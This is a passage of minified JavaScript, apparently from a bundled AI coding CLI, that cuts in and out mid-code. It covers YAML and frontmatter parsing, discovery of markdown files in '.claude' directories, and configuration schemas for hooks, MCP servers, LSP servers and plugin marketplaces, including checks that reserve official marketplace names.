J=K.sep[H];switch(J.type){case"newline":w.push(H);break;case"space":break;case"comment":if(J.indent>A.indent)w.length=0;break;default:w.length=0}}if(w.length>=2)z=K.sep.splice(w[1])}switch(this.type){case"anchor":case"tag":if(Y||K.value)z.push(this.sourceToken),A.items.push({start:z}),this.onKeyLine=!0;else if(K.sep)K.sep.push(this.sourceToken);else K.start.push(this.sourceToken);return;case"explicit-key-ind":if(!K.sep&&!K.explicitKey)K.start.push(this.sourceToken),K.explicitKey=!0;else if(Y||K.value)z.push(this.sourceToken),A.items.push({start:z,explicitKey:!0});else this.stack.push({type:"block-map",offset:this.offset,indent:this.indent,items:[{start:[this.sourceToken],explicitKey:!0}]});this.onKeyLine=!0;return;case"map-value-ind":if(K.explicitKey)if(!K.sep)if(gr(K.start,"newline"))Object.assign(K,{key:null,sep:[this.sourceToken]});else{let w=D$A(K.start);this.stack.push({type:"block-map",offset:this.offset,indent:this.indent,items:[{start:w,key:null,sep:[this.sourceToken]}]})}else if(K.value)A.items.push({start:[],key:null,sep:[this.sourceToken]});else if(gr(K.sep,"map-value-ind"))this.stack.push({type:"block-map",offset:this.offset,indent:this.indent,items:[{start:z,key:null,sep:[this.sourceToken]}]});else if(nS4(K.key)&&!gr(K.sep,"newline")){let w=D$A(K.start),H=K.key,J=K.sep;J.push(this.sourceToken),delete K.key,delete K.sep,this.stack.push({type:"block-map",offset:this.offset,indent:this.indent,items:[{start:w,key:H,sep:J}]})}else if(z.length>0)K.sep=K.sep.concat(z,this.sourceToken);else K.sep.push(this.sourceToken);else if(!K.sep)Object.assign(K,{key:null,sep:[this.sourceToken]});else if(K.value||Y)A.items.push({start:z,key:null,sep:[this.sourceToken]});else if(gr(K.sep,"map-value-ind"))this.stack.push({type:"block-map",offset:this.offset,indent:this.indent,items:[{start:[],key:null,sep:[this.sourceToken]}]});else K.sep.push(this.sourceToken);this.onKeyLine=!0;return;case"alias":case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":{let w=this.flowScalar(this.type);if(Y||K.value)A.items.push({start:z,key:w,sep:[]}),this.onKeyLine=!0;else if(K.sep)this.stack.push(w);else Object.assign(K,{key:w,sep:[]}),this.onKeyLine=!0;return}default:{let w=this.startBlockValue(A);if(w){if(w.type==="block-seq"){if(!K.explicitKey&&K.sep&&!gr(K.sep,"newline")){yield*this.pop({type:"error",offset:this.offset,message:"Unexpected block-seq-ind on same line with key",source:this.source});return}}else if(q)A.items.push({start:z});this.stack.push(w);return}}}}yield*this.pop(),yield*this.step()}*blockSequence(A){let K=A.items[A.items.length-1];switch(this.type){case"newline":if(K.value){let q="end"in K.value?K.value.end:void 0;if((Array.isArray(q)?q[q.length-1]:void 0)?.type==="comment")q?.push(this.sourceToken);else A.items.push({start:[this.sourceToken]})}else K.start.push(this.sourceToken);return;case"space":case"comment":if(K.value)A.items.push({start:[this.sourceToken]});else{if(this.atIndentedComment(K.start,A.indent)){let Y=A.items[A.items.length-2]?.value?.end;if(Array.isArray(Y)){Array.prototype.push.apply(Y,K.start),Y.push(this.sourceToken),A.items.pop();return}}K.start.push(this.sourceToken)}return;case"anchor":case"tag":if(K.value||this.indent<=A.indent)break;K.start.push(this.sourceToken);return;case"seq-item-ind":if(this.indent!==A.indent)break;if(K.value||gr(K.start,"seq-item-ind"))A.items.push({start:[this.sourceToken]});else K.start.push(this.sourceToken);return}if(this.indent>A.indent){let q=this.startBlockValue(A);if(q){this.stack.push(q);return}}yield*this.pop(),yield*this.step()}*flowCollection(A){let K=A.items[A.items.length-1];if(this.type==="flow-error-end"){let q;do yield*this.pop(),q=this.peek(1);while(q&&q.type==="flow-collection")}else if(A.end.length===0){switch(this.type){case"comma":case"explicit-key-ind":if(!K||K.sep)A.items.push({start:[this.sourceToken]});else K.start.push(this.sourceToken);return;case"map-value-ind":if(!K||K.value)A.items.push({start:[],key:null,sep:[this.sourceToken]});else if(K.sep)K.sep.push(this.sourceToken);else Object.assign(K,{key:null,sep:[this.sourceToken]});return;case"space":case"comment":case"newline":case"anchor":case"tag":if(!K||K.value)A.items.push({start:[this.sourceToken]});else if(K.sep)K.sep.push(this.sourceToken);else K.start.push(this.sourceToken);return;case"alias":case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":{let Y=this.flowScalar(this.type);if(!K||K.value)A.items.push({start:[],key:Y,sep:[]});else if(K.sep)this.stack.push(Y);else Object.assign(K,{key:Y,sep:[]});return}case"flow-map-end":case"flow-seq-end":A.end.push(this.sourceToken);return}let q=this.startBlockValue(A);if(q)this.stack.push(q);else yield*this.pop(),yield*this.step()}else{let q=this.peek(2);if(q.type==="block-map"&&(this.type==="map-value-ind"&&q.indent===A.indent||this.type==="newline"&&!q.items[q.items.length-1].sep))yield*this.pop(),yield*this.step();else if(this.type==="map-value-ind"&&q.type!=="flow-collection"){let Y=$Y1(q),z=D$A(Y);iS4(A);let w=A.end.splice(1,A.end.length);w.push(this.sourceToken);let H={type:"block-map",offset:A.offset,indent:A.indent,items:[{start:z,key:A,sep:w}]};this.onKeyLine=!0,this.stack[this.stack.length-1]=H}else yield*this.lineEnd(A)}}flowScalar(A){if(this.onNewLine){let K=this.source.indexOf(` `)+1;while(K!==0)this.onNewLine(this.offset+K),K=this.source.indexOf(` `,K)+1}return{type:A,offset:this.offset,indent:this.indent,source:this.source}}startBlockValue(A){switch(this.type){case"alias":case"scalar":case"single-quoted-scalar":case"double-quoted-scalar":return this.flowScalar(this.type);case"block-scalar-header":return{type:"block-scalar",offset:this.offset,indent:this.indent,props:[this.sourceToken],source:""};case"flow-map-start":case"flow-seq-start":return{type:"flow-collection",offset:this.offset,indent:this.indent,start:this.sourceToken,items:[],end:[]};case"seq-item-ind":return{type:"block-seq",offset:this.offset,indent:this.indent,items:[{start:[this.sourceToken]}]};case"explicit-key-ind":{this.onKeyLine=!0;let K=$Y1(A),q=D$A(K);return q.push(this.sourceToken),{type:"block-map",offset:this.offset,indent:this.indent,items:[{start:q,explicitKey:!0}]}}case"map-value-ind":{this.onKeyLine=!0;let K=$Y1(A),q=D$A(K);return{type:"block-map",offset:this.offset,indent:this.indent,items:[{start:q,key:null,sep:[this.sourceToken]}]}}}return null}atIndentedComment(A,K){if(this.type!=="comment")return!1;if(this.indent<=K)return!1;return A.every((q)=>q.type==="newline"||q.type==="space")}*documentEnd(A){if(this.type!=="doc-mode"){if(A.end)A.end.push(this.sourceToken);else A.end=[this.sourceToken];if(this.type==="newline")yield*this.pop()}}*lineEnd(A){switch(this.type){case"comma":case"doc-start":case"doc-end":case"flow-seq-end":case"flow-map-end":case"map-value-ind":yield*this.pop(),yield*this.step();break;case"newline":this.onKeyLine=!1;case"space":case"comment":default:if(A.end)A.end.push(this.sourceToken);else A.end=[this.sourceToken];if(this.type==="newline")yield*this.pop()}}}XN9.Parser=rS4});var eS4=v((PN9)=>{var oS4=c96(),_N9=eIA(),wSA=ASA(),GN9=A96(),ZN9=WY(),WN9=AY6(),aS4=KY6();function sS4(A){let K=A.prettyErrors!==!1;return{lineCounter:A.lineCounter||K&&new WN9.LineCounter||null,prettyErrors:K}}function DN9(A,K={}){let{lineCounter:q,prettyErrors:Y}=sS4(K),z=new aS4.Parser(q?.addNewLine),w=new oS4.Composer(K),H=Array.from(w.compose(z.parse(A)));if(Y&&q)for(let J of H)J.errors.forEach(wSA.prettifyError(A,q)),J.warnings.forEach(wSA.prettifyError(A,q));if(H.length>0)return H;return Object.assign([],{empty:!0},w.streamInfo())}function tS4(A,K={}){let{lineCounter:q,prettyErrors:Y}=sS4(K),z=new aS4.Parser(q?.addNewLine),w=new oS4.Composer(K),H=null;for(let J of w.compose(z.parse(A),!0,A.length))if(!H)H=J;else if(H.options.logLevel!=="silent"){H.errors.push(new wSA.YAMLParseError(J.range.slice(0,2),"MULTIPLE_DOCS","Source contains multiple documents; please use YAML.parseAllDocuments()"));break}if(Y&&q)H.errors.forEach(wSA.prettifyError(A,q)),H.warnings.forEach(wSA.prettifyError(A,q));return H}function jN9(A,K,q){let Y=void 0;if(typeof K==="function")Y=K;else if(q===void 0&&K&&typeof K==="object")q=K;let z=tS4(A,q);if(!z)return null;if(z.warnings.forEach((w)=>GN9.warn(z.options.logLevel,w)),z.errors.length>0)if(z.options.logLevel!=="silent")throw z.errors[0];else z.errors=[];return z.toJS(Object.assign({reviver:Y},q))}function MN9(A,K,q){let Y=null;if(typeof K==="function"||Array.isArray(K))Y=K;else if(q===void 0&&K)q=K;if(typeof q==="string")q=q.length;if(typeof q==="number"){let z=Math.round(q);q=z<1?void 0:z>8?{indent:8}:{indent:z}}if(A===void 0){let{keepUndefined:z}=q??K??{};if(!z)return}if(ZN9.isDocument(A)&&!Y)return A.toString(q);return new _N9.Document(A,Y,q).toString(q)}PN9.parse=jN9;PN9.parseAllDocuments=DN9;PN9.parseDocument=tS4;PN9.stringify=MN9});var vN9,EN9,kN9,qY6,CN9,Fr,LN9,RN9,yN9,IN9,iWw,SN9,hN9,bN9,_Y1,Ah4,xN9,uN9,BN9,mN9,gN9,FN9,QN9,UN9,pN9,dN9,cN9,lN9,iN9,nN9,rN9,oN9,aN9,sN9,tN9,eN9,AT9,KT9,GY1,qT9,YT9,zT9,wT9,HT9;var Kh4=k(()=>{vN9=c96(),EN9=eIA(),kN9=R96(),qY6=ASA(),CN9=gIA(),Fr=WY(),LN9=xr(),RN9=q$(),yN9=Br(),IN9=mr(),iWw=OY1(),SN9=e96(),hN9=AY6(),bN9=KY6(),_Y1=eS4(),Ah4=BIA();xN9=vN9.Composer,uN9=EN9.Document,BN9=kN9.Schema,mN9=qY6.YAMLError,gN9=qY6.YAMLParseError,FN9=qY6.YAMLWarning,QN9=CN9.Alias,UN9=Fr.isAlias,pN9=Fr.isCollection,dN9=Fr.isDocument,cN9=Fr.isMap,lN9=Fr.isNode,iN9=Fr.isPair,nN9=Fr.isScalar,rN9=Fr.isSeq,oN9=LN9.Pair,aN9=RN9.Scalar,sN9=yN9.YAMLMap,tN9=IN9.YAMLSeq,eN9=SN9.Lexer,AT9=hN9.LineCounter,KT9=bN9.Parser,GY1=_Y1.parse,qT9=_Y1.parseAllDocuments,YT9=_Y1.parseDocument,zT9=_Y1.stringify,wT9=Ah4.visit,HT9=Ah4.visitAsync});function OT9(A){let K=A.split(` `),q=[];for(let Y of K){let z=Y.match(/^([a-zA-Z_-]+):\s+(.+)$/);if(z){let[,w,H]=z;if(!w||!H){q.push(Y);continue}if(H.startsWith('"')&&H.endsWith('"')||H.startsWith("'")&&H.endsWith("'")){q.push(Y);continue}if(JT9.test(H)){let J=H.replace(/\\/g,"\\\\").replace(/"/g,"\\\"");q.push(`${w}: "${J}"`);continue}}q.push(Y)}return q.join(` `)}function J_(A){let K=/^---\s*\n([\s\S]*?)---\s*\n?/,q=A.match(K);if(!q)return{frontmatter:{},content:A};let Y=q[1]||"",z=A.slice(q[0].length),w={};try{let H=GY1(Y);if(H&&typeof H==="object"&&!Array.isArray(H))w=H}catch{try{let H=OT9(Y),J=GY1(H);if(J&&typeof J==="object"&&!Array.isArray(J))w=J}catch{}}return{frontmatter:w,content:z}}function qh4(A){let K=[],q="",Y=0;for(let w=0;w<A.length;w++){let H=A[w];if(H==="{")Y++,q+=H;else if(H==="}")Y--,q+=H;else if(H===","&&Y===0){let J=q.trim();if(J)K.push(J);q=""}else q+=H}let z=q.trim();if(z)K.push(z);return K.filter((w)=>w.length>0).flatMap((w)=>Yh4(w))}function Yh4(A){let K=A.match(/^([^{]*)\{([^}]+)\}(.*)$/);if(!K)return[A];let q=K[1]||"",Y=K[2]||"",z=K[3]||"",w=Y.split(",").map((J)=>J.trim()),H=[];for(let J of w){let O=q+J+z,X=Yh4(O);H.push(...X)}return H}function zh4(A){if(A===void 0||A===null)return;let K=typeof A==="number"?A:parseInt(String(A),10);if(Number.isInteger(K)&&K>0)return K;return}var JT9;var nQ=k(()=>{Kh4();JT9=/[{}[\]*&#!|>%@`]/});import{dirname as XT9,join as ZY1,resolve as wh4}from"path";import{readdir as $T9,readFile as _T9,stat as Hh4,lstat as GT9,realpath as ZT9}from"fs/promises";import{existsSync as zY6}from"fs";import{homedir as WT9}from"os";function rQ(A,K="Custom item"){let q=A.split(` `);for(let Y of q){let z=Y.trim();if(z){let H=z.match(/^#+\s+(.+)$/)?.[1]??z;return H.length>100?H.substring(0,97)+"...":H}}return K}function Oh4(A){if(A===void 0||A===null)return null;if(!A)return[];let K=[];if(typeof A==="string")K=[A];else if(Array.isArray(A))K=A.filter((Y)=>typeof Y==="string");if(K.length===0)return[];let q=sQ(K);if(q.includes("*"))return["*"];return q}function w7A(A){let K=Oh4(A);if(K===null)return A===void 0?void 0:[];if(K.includes("*"))return;return K}function Qy(A){let K=Oh4(A);if(K===null)return[];return K}async function DT9(A){try{let K=await GT9(A,{bigint:!0});return`${K.dev}:${K.ino}`}catch{return null}}function wY6(A,K){let q=wh4(WT9()),Y=Rl(K),z=wh4(K),w=[];if(!zY6(z))return w;while(!0){if(z===q)break;let H=ZY1(z,".claude",A);if(zY6(H))w.push(H);if(Y&&z===Y)break;let J=XT9(z);if(J===z)break;z=J}return w}async function jT9(A,K){let q=[],Y=new Set;async function z(w){if(K.aborted)return;try{let H=await Hh4(w,{bigint:!0});if(H.isDirectory()){let J=H.dev!==void 0&&H.ino!==void 0?`${H.dev}:${H.ino}`:await ZT9(w);if(Y.has(J)){h(`Skipping already visited directory (circular symlink): ${w}`);return}Y.add(J)}}catch(H){let J=H instanceof Error?H.message:String(H);h(`Failed to stat directory ${w}: ${J}`);return}try{let H=await $T9(w,{withFileTypes:!0});for(let J of H){if(K.aborted)break;let O=ZY1(w,J.name);try{if(J.isSymbolicLink())try{let X=await Hh4(O);if(X.isDirectory())await z(O);else if(X.isFile()&&J.name.endsWith(".md"))q.push(O)}catch(X){let $=X instanceof Error?X.message:String(X);h(`Failed to follow symlink ${O}: ${$}`)}else if(J.isDirectory())await z(O);else if(J.isFile()&&J.name.endsWith(".md"))q.push(O)}catch(X){let $=X instanceof Error?X.message:String(X);h(`Failed to access ${O}: ${$}`)}}}catch(H){let J=H instanceof Error?H.message:String(H);h(`Failed to read directory ${w}: ${J}`)}}return await z(A),q}async function YY6(A){let K=e7(),q=setTimeout(()=>K.abort(),3000);try{if(!zY6(A))return[];let z=P1(process.env.CLAUDE_CODE_USE_NATIVE_FILE_SEARCH)?await jT9(A,K.signal):await zb(["--files","--hidden","--follow","--no-ignore","--glob","*.md"],A,K.signal);return(await Promise.all(z.map(async(H)=>{try{let J=await _T9(H,{encoding:"utf-8"}),{frontmatter:O,content:X}=J_(J);return{filePath:H,frontmatter:O,content:X}}catch(J){let O=J instanceof Error?J.message:String(J);return h(`Failed to read/parse markdown file: ${H}: ${O}`),null}}))).filter((H)=>H!==null)}finally{clearTimeout(q)}}var Jh4,oQ;var aQ=k(()=>{wb();nQ();Qr();Z1();Jz();l6();I8();l1();GJ();p7();Jw();Jh4=["commands","agents","output-styles","skills"];oQ=z6(async function(A,K){let q=Date.now(),Y=ZY1(w8(),A),z=ZY1(yT(),".claude",A),w=wY6(A,K),[H,J,O]=await Promise.all([YY6(z).then((D)=>D.map((j)=>({...j,baseDir:z,source:"policySettings"}))),t$("userSettings")?YY6(Y).then((D)=>D.map((j)=>({...j,baseDir:Y,source:"userSettings"}))):Promise.resolve([]),t$("projectSettings")?Promise.all(w.map((D)=>YY6(D).then((j)=>j.map((M)=>({...M,baseDir:D,source:"projectSettings"}))))):Promise.resolve([])]),X=O.flat(),$=[...H,...J,...X],_=await Promise.all($.map((D)=>DT9(D.filePath))),G=new Map,Z=[];for(let[D,j]of $.entries()){let M=_[D]??null;if(M===null){Z.push(j);continue}let P=G.get(M);if(P!==void 0){h(`Skipping duplicate file '${j.filePath}' from ${j.source} (same inode already loaded from ${P})`);continue}G.set(M,j.source),Z.push(j)}let W=$.length-Z.length;if(W>0)h(`Deduplicated ${W} files in ${A} (same inode via symlinks or hard links)`);return n("tengu_dir_search",{durationMs:Date.now()-q,managedFilesFound:H.length,userFilesFound:J.length,projectFilesFound:X.length,projectDirsSearched:w.length,subdir:A}),Z},(A,K)=>`${A}:${K}`)});var px;var Xh4=k(()=>{px=["PreToolUse","PostToolUse","PostToolUseFailure","Notification","UserPromptSubmit","SessionStart","SessionEnd","Stop","SubagentStart","SubagentStop","PreCompact","PermissionRequest","Setup"]});var $h4=()=>{};var j$A=k(()=>{Xh4();$h4()});var MT9,PT9,VT9,_h4,Gh4,ek;var WY1=k(()=>{z7();j$A();MT9=U.object({type:U.literal("command").describe("Bash command hook type"),command:U.string().describe("Shell command to execute"),timeout:U.number().positive().optional().describe("Timeout in seconds for this specific command"),statusMessage:U.string().optional().describe("Custom status message to display in spinner while hook runs"),once:U.boolean().optional().describe("If true, hook runs once and is removed after execution"),async:U.boolean().optional().describe("If true, hook runs in background without blocking")}),PT9=U.object({type:U.literal("prompt").describe("LLM prompt hook type"),prompt:U.string().describe("Prompt to evaluate with LLM. Use $ARGUMENTS placeholder for hook input JSON."),timeout:U.number().positive().optional().describe("Timeout in seconds for this specific prompt evaluation"),model:U.string().optional().describe('Model to use for this prompt hook (e.g., "claude-sonnet-4-5-20250929"). If not specified, uses the default small fast model.'),statusMessage:U.string().optional().describe("Custom status message to display in spinner while hook runs"),once:U.boolean().optional().describe("If true, hook runs once and is removed after execution")}),VT9=U.object({type:U.literal("agent").describe("Agentic verifier hook type"),prompt:U.string().transform((A)=>(K)=>A).describe('Prompt describing what to verify (e.g. "Verify that unit tests ran and passed."). Use $ARGUMENTS placeholder for hook input JSON.'),timeout:U.number().positive().optional().describe("Timeout in seconds for agent execution (default 60)"),model:U.string().optional().describe('Model to use for this agent hook (e.g., "claude-sonnet-4-5-20250929"). If not specified, uses Haiku.'),statusMessage:U.string().optional().describe("Custom status message to display in spinner while hook runs"),once:U.boolean().optional().describe("If true, hook runs once and is removed after execution")}),_h4=U.discriminatedUnion("type",[MT9,PT9,VT9]),Gh4=U.object({matcher:U.string().optional().describe('String pattern to match (e.g. tool names like "Write")'),hooks:U.array(_h4).describe("List of hooks to execute when the matcher matches")}),ek=U.partialRecord(U.enum(px),U.array(Gh4))});var HY6,vDw,JY6,fT9,NT9,TT9,vT9,ET9,kT9,CT9,dx,Zh4;var H7A=k(()=>{z7();HY6=U.enum(["local","user","project","dynamic","enterprise","claudeai","managed"]),vDw=U.enum(["stdio","sse","sse-ide","http","ws","sdk"]),JY6=U.object({type:U.literal("stdio").optional(),command:U.string().min(1,"Command cannot be empty"),args:U.array(U.string()).default([]),env:U.record(U.string(),U.string()).optional()}),fT9=U.object({type:U.literal("sse"),url:U.string(),headers:U.record(U.string(),U.string()).optional(),headersHelper:U.string().optional()}),NT9=U.object({type:U.literal("sse-ide"),url:U.string(),ideName:U.string(),ideRunningInWindows:U.boolean().optional()}),TT9=U.object({type:U.literal("ws-ide"),url:U.string(),ideName:U.string(),authToken:U.string().optional(),ideRunningInWindows:U.boolean().optional()}),vT9=U.object({type:U.literal("http"),url:U.string(),headers:U.record(U.string(),U.string()).optional(),headersHelper:U.string().optional()}),ET9=U.object({type:U.literal("ws"),url:U.string(),headers:U.record(U.string(),U.string()).optional(),headersHelper:U.string().optional()}),kT9=U.object({type:U.literal("sdk"),name:U.string()}),CT9=U.object({type:U.literal("claudeai-proxy"),url:U.string(),id:U.string()}),dx=U.union([JY6,fT9,NT9,TT9,vT9,ET9,kT9,CT9]),Zh4=U.object({mcpServers:U.record(U.string(),dx)})});function HSA(A,K){return K.autoUpdate??O7A.has(A.toLowerCase())}function yT9(A){if(O7A.has(A.toLowerCase()))return!1;if(RT9.test(A))return!0;return LT9.test(A)}function Mh4(A,K){let q=A.toLowerCase();if(!O7A.has(q))return null;if(K.source==="github"){if(!(K.repo||"").toLowerCase().startsWith(`${DY1}/`))return`The name '${A}' is reserved for official Anthropic marketplaces. Only repositories from 'github.com/${DY1}/' can use this name.`;return null}if(K.source==="git"&&K.url){let Y=K.url.toLowerCase(),z=Y.includes("github.com/anthropics/"),w=Y.includes("git@github.com:anthropics/");if(z||w)return null;return`The name '${A}' is reserved for official Anthropic marketplaces. Only repositories from 'github.com/${DY1}/' can use this name.`}return`The name '${A}' is reserved for official Anthropic marketplaces and can only be used with GitHub sources from the '${DY1}' organization.`}function cx(A){return typeof A==="string"&&A.startsWith("./")}var O7A,LT9,RT9,DY1="anthropics",tQ,M$A,Wh4,OY6,XY6,Ph4,IT9,Vh4,ST9,hT9,bT9,xT9,uT9,BT9,mT9,Dh4,gT9,P$A,FT9,X7A,fh4,JSA,jh4,QT9,UT9,V$A,J7A,RDw,pT9,OSA,dT9,cT9,XSA,yDw,lT9,$Y6;var ID=k(()=>{z7();WY1();H7A();O7A=new Set(["claude-code-marketplace","claude-code-plugins","claude-plugins-official","anthropic-marketplace","anthropic-plugins","agent-skills","life-sciences"]);LT9=/(?:official[^a-z0-9]*(anthropic|claude)|(?:anthropic|claude)[^a-z0-9]*official|^(?:anthropic|claude)[^a-z0-9]*(marketplace|plugins|official))/i,RT9=/[^\u0020-\u007E]/;tQ=U.string().startsWith("./"),M$A=tQ.endsWith(".json"),Wh4=U.union([tQ.refine((A)=>A.endsWith(".mcpb")||A.endsWith(".dxt"),{message:"MCPB file path must end with .mcpb or .dxt"}).describe("Path to MCPB file relative to plugin root"),U.string().url().refine((A)=>A.endsWith(".mcpb")||A.endsWith(".dxt"),{message:"MCPB URL must end with .mcpb or .dxt"}).describe("URL to MCPB file")]),OY6=tQ.endsWith(".md"),XY6=U.union([OY6,tQ]),Ph4=U.object({name:U.string().min(1,"Author name cannot be empty").describe("Display name of the plugin author or organization"),email:U.string().optional().describe("Contact email for support or feedback"),url:U.string().optional().describe("Website, GitHub profile, or organization URL")}),IT9=U.object({name:U.string().min(1,"Plugin name cannot be empty").refine((A)=>!A.includes(" "),{message:'Plugin name cannot contain spaces. Use kebab-case (e.g., "my-plugin")'}).describe("Unique identifier for the plugin, used for namespacing (prefer kebab-case)"),version:U.string().optional().describe("Semantic version (e.g., 1.2.3) following semver.org specification"),description:U.string().optional().describe("Brief, user-facing explanation of what the plugin provides"),author:Ph4.optional().describe("Information about the plugin creator or maintainer"),homepage:U.string().url().optional().describe("Plugin homepage or documentation URL"),repository:U.string().optional().describe("Source code repository URL"),license:U.string().optional().describe("SPDX license identifier (e.g., MIT, Apache-2.0)"),keywords:U.array(U.string()).optional().describe("Tags for plugin discovery and categorization")}),Vh4=U.object({description:U.string().optional().describe("Brief, user-facing explanation of what these hooks provide"),hooks:U.lazy(()=>ek).describe("The hooks provided by the plugin, in the same format as the one used for settings")}),ST9=U.object({hooks:U.union([M$A.describe("Path to file with additional hooks (in addition to those in hooks/hooks.json, if it exists), relative to the plugin root"),U.lazy(()=>ek).describe("Additional hooks (in addition to those in hooks/hooks.json, if it exists)"),U.array(U.union([M$A.describe("Path to file with additional hooks (in addition to those in hooks/hooks.json, if it exists), relative to the plugin root"),U.lazy(()=>ek).describe("Additional hooks (in addition to those in hooks/hooks.json, if it exists)")]))])}),hT9=U.object({source:XY6.optional().describe("Path to command markdown file, relative to plugin root"),content:U.string().optional().describe("Inline markdown content for the command"),description:U.string().optional().describe("Command description override"),argumentHint:U.string().optional().describe('Hint for command arguments (e.g., "[file]")'),model:U.string().optional().describe("Default model for this command"),allowedTools:U.array(U.string()).optional().describe("Tools allowed when command runs")}).refine((A)=>A.source&&!A.content||!A.source&&A.content,{message:'Command must have either "source" (file path) or "content" (inline markdown), but not both'}),bT9=U.object({commands:U.union([XY6.describe("Path to additional command file or skill directory (in addition to those in the commands/ directory, if it exists), relative to the plugin root"),U.array(XY6.describe("Path to additional command file or skill directory (in addition to those in the commands/ directory, if it exists), relative to the plugin root")).describe("List of paths to additional command files or skill directories"),U.record(U.string(),hT9).describe('Object mapping of command names to their metadata and source files. Command name becomes the slash command name (e.g., "about" → "/plugin:about")')])}),xT9=U.object({agents:U.union([OY6.describe("Path to additional agent file (in addition to those in the agents/ directory, if it exists), relative to the plugin root"),U.array(OY6.describe("Path to additional agent file (in addition to those in the agents/ directory, if it exists), relative to the plugin root")).describe("List of paths to additional agent files")])}),uT9=U.object({skills:U.union([tQ.describe("Path to additional skill directory (in addition to those in the skills/ directory, if it exists), relative to the plugin root"),U.array(tQ.describe("Path to additional skill directory (in addition to those in the skills/ directory, if it exists), relative to the plugin root")).describe("List of paths to additional skill directories")])}),BT9=U.object({outputStyles:U.union([tQ.describe("Path to additional output styles directory or file (in addition to those in the output-styles/ directory, if it exists), relative to the plugin root"),U.array(tQ.describe("Path to additional output styles directory or file (in addition to those in the output-styles/ directory, if it exists), relative to the plugin root")).describe("List of paths to additional output styles directories or files")])}),mT9=U.object({mcpServers:U.union([M$A.describe("MCP servers to include in the plugin (in addition to those in the .mcp.json file, if it exists)"),Wh4.describe("Path or URL to MCPB file containing MCP server configuration"),U.record(U.string(),dx).describe("MCP server configurations keyed by server name"),U.array(U.union([M$A.describe("Path to MCP servers configuration file"),Wh4.describe("Path or URL to MCPB file"),U.record(U.string(),dx).describe("Inline MCP server configurations")])).describe("Array of MCP server configurations (paths, MCPB files, or inline definitions)")])}),Dh4=U.string().min(1),gT9=U.string().min(2).refine((A)=>A.startsWith("."),{message:'File extensions must start with dot (e.g., ".ts", not "ts")'}),P$A=U.strictObject({command:U.string().min(1).refine((A)=>{if(A.includes(" ")&&!A.startsWith("/"))return!1;return!0},{message:"Command should not contain spaces. Use args array for arguments."}).describe('Command to execute the LSP server (e.g., "typescript-language-server")'),args:U.array(Dh4).optional().describe("Command-line arguments to pass to the server"),extensionToLanguage:U.record(gT9,Dh4).refine((A)=>Object.keys(A).length>0,{message:"extensionToLanguage must have at least one mapping"}).describe("Mapping from file extension to LSP language ID. File extensions and languages are derived from this mapping."),transport:U.enum(["stdio","socket"]).default("stdio").describe("Communication transport mechanism"),env:U.record(U.string(),U.string()).optional().describe("Environment variables to set when starting the server"),initializationOptions:U.unknown().optional().describe("Initialization options passed to the server during initialization"),settings:U.unknown().optional().describe("Settings passed to the server via workspace/didChangeConfiguration"),workspaceFolder:U.string().optional().describe("Workspace folder path to use for the server"),startupTimeout:U.number().int().positive().optional().describe("Maximum time to wait for server startup (milliseconds)"),shutdownTimeout:U.number().int().positive().optional().describe("Maximum time to wait for graceful shutdown (milliseconds)"),restartOnCrash:U.boolean().optional().describe("Whether to restart the server if it crashes"),maxRestarts:U.number().int().nonnegative().optional().describe("Maximum number of restart attempts before giving up")}),FT9=U.object({lspServers:U.union([M$A.describe("Path to .lsp.json configuration file relative to plugin root"),U.record(U.string(),P$A).describe("LSP server configurations keyed by server name"),U.array(U.union([M$A.describe("Path to LSP configuration file"),U.record(U.string(),P$A).describe("Inline LSP server configurations")])).describe("Array of LSP server configurations (paths or inline definitions)")])}),X7A=U.object({...IT9.shape,...ST9.partial().shape,...bT9.partial().shape,...xT9.partial().shape,...uT9.partial().shape,...BT9.partial().shape,...mT9.partial().shape,...FT9.partial().shape}).strict(),fh4=U.string().refine((A)=>!A.includes("..")&&!A.includes("//"),"Package name cannot contain path traversal patterns").refine((A)=>{let K=/^@[a-z0-9][a-z0-9-._]*\/[a-z0-9][a-z0-9-._]*$/,q=/^[a-z0-9][a-z0-9-._]*$/;return K.test(A)||q.test(A)},"Invalid npm package name format"),JSA=U.discriminatedUnion("source",[U.object({source:U.literal("url"),url:U.string().url().describe("Direct URL to marketplace.json file"),headers:U.record(U.string(),U.string()).optional().describe("Custom HTTP headers (e.g., for authentication)")}),U.object({source:U.literal("github"),repo:U.string().describe("GitHub repository in owner/repo format"),ref:U.string().optional().describe('Git branch or tag to use (e.g., "main", "v1.0.0"). Defaults to repository default branch.'),path:U.string().optional().describe("Path to marketplace.json within repo (defaults to .claude-plugin/marketplace.json)")}),U.object({source:U.literal("git"),url:U.string().endsWith(".git").describe("Full git repository URL"),ref:U.string().optional().describe('Git branch or tag to use (e.g., "main", "v1.0.0"). Defaults to repository default branch.'),path:U.string().optional().describe("Path to marketplace.json within repo (defaults to .claude-plugin/marketplace.json)")}),U.object({source:U.literal("npm"),package:fh4.describe("NPM package containing marketplace.json")}),U.object({source:U.literal("file"),path:U.string().describe("Local file path to marketplace.json")}),U.object({source:U.literal("directory"),path:U.string().describe("Local directory containing .claude-plugin/marketplace.json")}),U.object({source:U.literal("hostPattern"),hostPattern:U.string().describe('Regex pattern to match the host/domain extracted from any marketplace source type. For github sources, matches against "github.com". For git sources (SSH or HTTPS), extracts the hostname from the URL. Use in strictKnownMarketplaces to allow all marketplaces from a specific host (e.g., "^github\\.mycompany\\.com$").')})]),jh4=U.string().length(40).regex(/^[a-f0-9]{40}$/,"Must be a full 40-character lowercase git commit SHA"),QT9=U.union([tQ.describe("Path to the plugin root, relative to the marketplace directory"),U.object({source:U.literal("npm"),package:fh4.or(U.string()).describe("Package name (or url, or local path, or anything else that can be passed to `npm` as a package)"),version:U.string().optional().describe("Specific version or version range (e.g., ^1.0.0, ~2.1.0)"),registry:U.string().url().optional().describe("Custom NPM registry URL (defaults to using system default, likely npmjs.org)")}).describe("NPM package as plugin source"),U.object({source:U.literal("pip"),package:U.string().describe("Python package name as it appears on PyPI"),version:U.string().optional().describe("Version specifier (e.g., ==1.0.0, >=2.0.0, <3.0.0)"),registry:U.string().url().optional().describe("Custom PyPI registry URL (defaults to using system default, likely pypi.org)")}).describe("Python package as plugin source"),U.object({source:U.literal("url"),url:U.string().endsWith(".git").describe("Full git repository URL (https:// or git@)"),ref:U.string().optional().describe('Git branch or tag to use (e.g., "main", "v1.0.0"). Defaults to repository default branch.'),sha:jh4.optional().describe("Specific commit SHA to use")}),U.object({source:U.literal("github"),repo:U.string().describe("GitHub repository in owner/repo format"),ref:U.string().optional().describe('Git branch or tag to use (e.g., 